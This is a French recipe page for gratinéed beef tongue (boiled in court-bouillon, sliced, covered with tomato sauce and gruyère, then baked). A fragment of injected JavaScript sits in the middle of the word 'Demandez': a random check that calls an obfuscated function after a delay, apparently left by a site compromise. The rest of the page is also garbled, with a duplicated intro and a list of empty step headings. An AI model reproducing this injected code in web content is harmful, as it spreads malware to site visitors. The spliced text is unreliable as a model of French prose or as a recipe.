Langue de bœuf gratiné
2021-03-23Demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andez à votre boucher de vous détaillez la langue et de débarrasser de ces déchets. Pesez la langue. Il faut compter 50 minutes pour 1 kg de langue.
Ingrédients
Demandez à votre boucher de vous détaillez la langue et de débarrasser de ces déchets. Pesez la langue. Il faut compter 50 minutes pour 1 kg de langue. Dans une cocotte remplie d’eau froide déposez la langue de bœuf, avec les 2 sachets de court bouillon.
Portez à ébullition. Couvrez. De temps en temps écumez. Vérifiez la cuisson. Égouttez la langue. Enlevez la peau blanche. Détaillez-la en fines tranches.
La déposer dans un plat à gratin avec des petits morceaux de beurre. Nappez de sauce tomate.
Parsemez de gruyère râpé. Préchauffez le four à 150°C thermostat 5. Enfournez et faites cuire pendant 15 minutes.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
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